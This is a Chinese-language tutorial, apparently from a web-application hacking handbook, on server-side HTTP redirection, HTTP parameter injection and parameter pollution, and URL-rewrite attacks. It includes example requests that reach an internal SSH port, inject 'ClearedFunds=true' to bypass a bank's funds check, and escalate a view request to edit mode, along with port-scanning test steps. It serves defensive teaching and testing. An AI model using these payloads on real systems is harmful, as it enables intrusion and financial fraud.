注入后端HTTP请求

注入HTTP后端请求

影城程序可能会将用户输入嵌入任何类型的后端HTTP请求,包括哪些以常规名/值对传输参数的请求。由于应用程序通常会有效代理用户提交的UTL和参数,因而这种行为往往易于受到攻击。针对这种功能的攻击可以分为以下类别:

  • 服务端HTTP重新向:攻击者可以通过这种方式制定任意资源或URL,然后再由后端应用父亲为请求这些资源或URL。
  • HTTP参数注入(HPI):攻击者可以通过这种方法在应用程序服务器提出的后端HTTP请求中注入任意参数。如果攻击者注入后端请求中已存在的参数,就可以利用HTTP参数污染(HPP)攻击覆盖服务器指定的原始参数值。

服务器HTTP重定向

如果应用程序接受用户可控制的输入,并将其合并到使用后端HTTP请求检索的URL中,这种行为就会导致服务器端重定向漏洞。用户提交的输入中可能包含被检索的完整URL,或者应用程序可能会对该URL进行某种处理,如添加标准的后缀。

后端HTTP请求可能指定公公因特网上的某个域,或者指定用户无法直接访问的内部服务器。所请求的内容可能对应用程序的功能非常关键,如支付网关的接口;或者较为次要,如从第三方提取的内容。这种技巧常用于将几个单独的内部和外部应用程序组件结合到一个前端应用程序中,再由该应用程序代表这些组件实施访问控制和会话管理。如果攻击者能够控制后端HTTP请求中的IP地址或主机名,他就可以使应用程序服务器连接到任意资源,有时甚至能够检索后端响应的内容。

以下面的前端请求为例,其中的loc参数用于指定客户端希望查看的CSS文件的版本:

1
2
3
4
5
6
POST /account/home HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: wahh-blogs.net
Content-Length: 65

view=default&loc=online.wahh-blogs.net/css/wahh.css

如果没有在loc参数中未URL指定确认机制,攻击者就可以指定任何主机名来替代online.wahh-blogs.net。应用陈故乡将检索指定的资源,导致攻击者将应用程序用作潜在的敏感后端服务的代理服务器。在下面的示例中,攻击者使应用程序连接到后端的SSH服务:

1
2
3
4
5
6
POST /account/home HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: wahh-blogs.net
Content-Length: 65

view=default&loc=192.168.0.1:22

应用程序的响应包含所请求的SSH服务 的旗标:

1
2
3
4
HTTP/1.1 200 OK
Connection: close

SSH-2.0-OpenSSH_4.2Protocol mismatch.

攻击者可以利用服务器端HTTP重定向漏洞,将易受攻击的应用程序作为开放的HTTP代理服务器,以事实各种其他攻击。

  • 攻击者可以将该代理服务器用于攻击互联网上的第三方系统。恶意流量针对的是运行易受攻击的应用程序的服务器上的目标。
  • 攻击者可以将该代理服务器用于连接到阻止内部网络中的任意主机,从而访问无法通过因特网直接访问的目标
  • 攻击者可以将该代理服务器用于反向连接在应用程序服务器本身上运行的其他服务,从而突破防火墙限制,并利用新人关系来避开身份验证。
  • 最后,攻击者可以通过使应用程序在响应中包含受控的内容,利用代理功能实现跨站点脚本等攻击。

测试步骤:

  1. 确定任何可能包含主机名、IP地址或完整URL的请求参数
  2. 对于每个参数,修改参数值以指定其他与所请求的资源类似的资源,并观察该资源是否会出现在服务器的响应中。
  3. 尝试指定一个针对你控制的额因特网服务器URL,并对该服务器进行监视,检查来自所测试的应用程序的传入连接。
  4. 如果没有收到任何传入连接,则监视应用程序响应所花费的时间。如果存在延迟,则说明应用程序的祸端请求可能由于出站连接上的网络限制导致超时。
  5. 如果成功利用相关功能连接到任意URL,则可以尝试实施以下攻击。
    1. 确定是否可以制定端口号,例如,可以指定http://mdattacker.net:22
    2. 如果可以指定端口号,尝试使用Burp Intruder等工具对内部网络进行端口扫描,以逐个连接到一系列IP地址和端口
    3. 尝试连接到应用程序服务器的回环地址上的其他服务,
    4. 尝试将受控的Web页面加载到应用程序的响应中,以实施跨站点脚本攻击。

HTTP参数注入

如果用户提交的参数被用作后端HTTP请求中的参数,这时就会导致HTTP参数注入。以下面的之前易于收SOAP注入的银行转账功能为例:

1
2
3
4
5
POST /bank/48/Default.aspx HTTP/1.1
Host: mdsec.net
Content-Length: 65

FromAccount=18281008&Amount=1430&ToAccount=08447656&Submit=Submit

这个前端请求由用户的浏览器提出,将导致应用程序向银行基础架构中的另一台Web服务器提出其他HTTP请求。在以下后端请求中,应用程序从前端请求中复制了一些参数值:

1
2
3
4
5
POST /doTransfer.asp HTTP/1.0
Host: mdsec-mgr.int.mdsec.net
Content-Length: 44

FromAccount=18281008&Amount=1430&ToAcc=08447656

这个请求要求后端服务器检查时候有清算资金可以转账,如果有,则进行转账。但是,前端服务器可以通过提供以下参数,指定存在清算资金,从而避开上述检查:

1
ClearedFunds=true

如果攻击者发现这种行为,他就可以尝试实施HPI攻击,在后端请求中注入ClearedFunds参数。要注入该参数,他将所需参数附加到现有参数值的后面,并将分隔名称和值的&和=字符进行URL编码,如下所示:

1
2
3
4
5
POST /bank/48/Default.aspx HTTP/1.1
Host: mdsec.net
Content-Length: 65

FromAccount=18281008&Amount=1430&ToAccount=08447656%26clearedFunds%3dtrue&Submit=Submit

当应用服务器处理这个请求时,它会以正常方式对参数值进行URL解码。因此,前端应用程序受到的ToAccount参数值位

1
08447656&ClearedFunds=true

如果前端应用程序没有确认这个值并将它按原样传递给后端请求,应用程序将提出以下后端请求,使攻击者能工成功避开清算资金检查。

1
2
3
4
5
POST /doTransfer.asp HTTP/1.0
Host: mdsec-mgr.int.mdsec.net
Content-Length: 44

FromAccount=18281008&Amount=1430&ToAcc=08447656&ClearedFunds=true

HTTP参数污染

HPP是一种可用于各种环境下的攻击机巧,这种技巧常用在HPI攻击中。

如果请求中包含多个同名请求,这时Web服务器该如何处理?对于这一问题,HTTP规范并未提供任何指导。实际上,各种Web服务器的处理方式各不相同,以下是一些常见的处理方式。

  • 使用参数的第一个实例
  • 使用参数的最后一个实例
  • 串联参数值,可能在参数之间添加分隔符
  • 构建一个包含所有请求值的数组

在前面的HPI示例中,攻击者可以在后端请求中添加一个新的参数。实际上,攻击者可以对其实施注入攻击的请求很可能已经包含一个与攻击者所针对的参数同名的参数。在这种情况下,攻击者可以使用HPI条件注入另一个同名参数。随后,应用程序将表现出何种行为,将取决于后端HTTP服务器如何处理重复的参数。这样,攻击者获取可以用他注入的参数值“覆盖”原始参数值。

例如,如果原始的后端请求为:

1
2
3
4
5
POST /doTransfer.asp HTTP/1.0
Host: mdsec-mgr.int.mdsec.net
Content-Length: 62

fromacc=18281008&amount=1430&clearedFunds=false&toacc=08447656

并且后端服务器使用任何重复的参数的第一个实例,则攻击者可以对前端请求中的FromAccount参数实施攻击,如下所示:

1
2
3
4
5
POST /doTransfer.asp HTTP/1.0
Host: mdsec-mgr.int.mdsec.net
Content-Length: 62

FromAccount=18281008%26clearedFunds%3dtrue&Amount=1430&ToAccount=08447656

相反,在这个示例中,如果后端服务器使用任何重复的参数的最后一个实例,则攻击者可以对前端请求中的ToAccount参数实施攻击。

HPP能否攻击成功,在很大程度上取决于目标应用服务器如何处理多个同名参数,以及后端请求中的插入点是否准确。如果两种技术需要处理相同的HTTP请求,HPP攻击就会造成严重的后果。Web应用程序防火墙或反向代理可能会处理某个请求,并将其传递给Web应用程序,由Web应用程序抛弃变量,甚至是基于之前不想管的请求部分构件字符串。

攻击URL转换

许多服务器会在所请求的URL抵达时重写这些URL,再将它们映射到应用程序中的相关后端功能。除传统的URL重写外,服务器在处理REST风格的参数、定制导航包装器以及其他URL转换方法时都会进行URL重写。这种方式可能易受HPI和HPP攻击。

为了简化和便于导航,一些应用程序在URL的文件路径,而非查询字符串中插入参数值。通常,应用程序会通过一些简单的规则转换URL,然后将其转发给真正地目标。Apache中的以下mod_rewrite规则用于处理可公共访问的用户资料:

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /pub/user/[\&]*\ HTTP/

RewriteRUle ^pub/user/([^/\\.]+)$ /inc/user_mgr.php?mode=view&name=$1

次规则接受非常简洁的请求,例如:

/pub/user/marcus

并将这些请求转换为后端请求,以便于用户管理页面user_mgr.php包含的view功能进行处理。例如,如果攻击者请求:

/pub/user/marcus%26mode=edit

将URL编码的值嵌入经过重写的URL中,将得到:

/inc/user_mgr.php?mode=view&name=marcus&mode=edit

讲HPP攻击的时候说到,这种攻击能否成功取决于服务器如何处理重复的参数。在PHP平台中,mode参数被视为具有值edit,因而攻击取得成功。

测试步骤:

  1. 轮流针对每个请求参数进行测试,尝试使用各种语法添加一个心注入的参数:

    • %26foo%3dbar——URL编码的&foo=bar
    • %3bfoo%3dnar——URL编码的;foo=bar
    • %2526foo%253dbar——双重URL编码的&foo=bar
  2. 确定任何修改后不会改变应用程序的行为的参数示例(仅适用于在修改后会在应用程序的响应造成某种差异的参数)。

  3. 在上一步确定的每个实例都可以实施参数注入。尝试在请求的不同位置注入一个一致的参数,看这样做是否可以覆盖或修改现有的某个参数。例如:

    FromAccount=18281008%26Amount%3d4444&Amount=1430&ToAccount=08447656

  4. 如果这样做会将现有值替换为心智,确定是否可以通过注入一个由后端服务器读取的值来避开任何前端确认机制。

  5. 用其他参数名称替换注入的已知参数。

  6. 测试应用程序是否允许在请求中多次提交同一个参数,在其他参数前后,以及请求的不同位置提交多余的值。

0%